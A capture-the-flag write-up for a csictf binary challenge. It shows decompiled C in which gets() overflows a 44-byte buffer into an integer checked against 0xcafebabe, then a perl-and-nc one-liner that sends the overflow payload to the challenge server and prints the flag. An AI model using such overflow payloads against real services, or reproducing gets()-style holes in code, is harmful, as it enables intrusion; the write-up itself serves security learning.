## Description
Travelling through spacetime!
```nc chall.csivit.com 30007```
## Analysis
Decompile with Ghidra. `main()` is very simple:
```cundefined8 main(void){  char local_38 [44];  int local_c;   local_c = 0;  setbuf(stdout,(char *)0x0);  setbuf(stdin,(char *)0x0);  setbuf(stderr,(char *)0x0);  puts("Welcome to csictf! Where are you headed?");  gets(local_38);  puts("Safe Journey!");  if (local_c == -0x35014542) {    puts("You\'ve reached your destination, here\'s a flag!");    system("/bin/cat flag.txt");  }  return 0;}```
This is almost identical to the previous problem, except `local_c` has to be set to `-0x35014542`, which is the same as `0xcafebabe`. Just print `0xcafebabe` 12 times to fill up `local_38` and overflow into `local_c`.
## Solution
```kali@kali:~$ perl -e 'print "\xBE\xBA\xFE\xCA"x12 . "\n"' | nc chall.csivit.com 30007Welcome to csictf! Where are you headed?Safe Journey!You've reached your destination, here's a flag!csictf{c4n_y0u_re4lly_telep0rt?}```
